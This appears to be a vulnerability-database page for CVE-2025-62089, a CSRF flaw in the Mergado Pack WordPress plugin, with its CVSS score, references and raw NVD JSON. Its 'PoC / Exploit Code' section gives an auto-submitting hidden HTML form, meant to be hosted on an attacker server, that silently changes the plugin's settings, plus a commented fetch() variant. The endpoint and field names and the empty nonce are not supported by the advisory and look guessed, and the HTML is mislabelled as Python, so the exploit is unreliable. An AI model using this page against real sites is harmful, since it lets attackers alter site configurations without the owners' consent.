CVE-2025-62089

Description

Cross-Site Request Forgery (CSRF) vulnerability in MERGADO Mergado Pack mergado-marketing-pack allows Cross Site Request Forgery.This issue affects Mergado Pack: from n/a through <= 4.2.1.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Mergado Pack (mergado-marketing-pack) <= 4.2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-62089 -->
<!-- This PoC demonstrates how an attacker can exploit the CSRF vulnerability -->
<!-- Save as csrf_poc.html and host on attacker server -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - CVE-2025-62089</title>
</head>
<body>
    <h1>CSRF Vulnerability Test - Mergado Pack Plugin</h1>
    <p>This PoC demonstrates the CSRF vulnerability in Mergado Pack plugin <= 4.2.1</p>
    
    <!-- Auto-submit form targeting vulnerable endpoint -->
    <form id="csrfForm" action="https://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;">
        <!-- Plugin's vulnerable action parameter -->
        <input type="hidden" name="action" value="mergado_settings_update">
        <!-- Attacker's controlled settings -->
        <input type="hidden" name="mergado_api_key" value="attacker_controlled_key">
        <input type="hidden" name="mergado_export_enabled" value="1">
        <!-- Add nonce if required for specific endpoints -->
        <input type="hidden" name="_wpnonce" value="">
    </form>
    
    <script>
        // Auto-submit when page loads
        document.getElementById('csrfForm').submit();
        
        // Alternative: Use fetch API for more control
        /*
        fetch('https://target-site.com/wp-admin/admin-post.php', {
            method: 'POST',
            mode: 'no-cors',
            credentials: 'include',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            },
            body: 'action=mergado_settings_update&mergado_api_key=malicious&_wpnonce='
        });
        */
    </script>
    
    <p>If successful, the plugin settings will be modified without user's knowledge.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62089
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62089
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62089/
[4] VulDB https://vuldb.com/cve/CVE-2025-62089
[5] https://patchstack.com/database/Wordpress/Plugin/mergado-marketing-pack/vulnerability/wordpress-mergado-pack-plugin-4-2-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62089", "sourceIdentifier": "[email protected]", "published": "2025-12-31T16:15:44.423", "lastModified": "2026-04-23T15:34:31.157", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in MERGADO Mergado Pack mergado-marketing-pack allows Cross Site Request Forgery.This issue affects Mergado Pack: from n/a through <= 4.2.1."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en MERGADO Mergado Pack permite la falsificación de petición en sitios cruzados. Este problema afecta a Mergado Pack: desde n/a hasta 4.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/mergado-marketing-pack/vulnerability/wordpress-mergado-pack-plugin-4-2-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}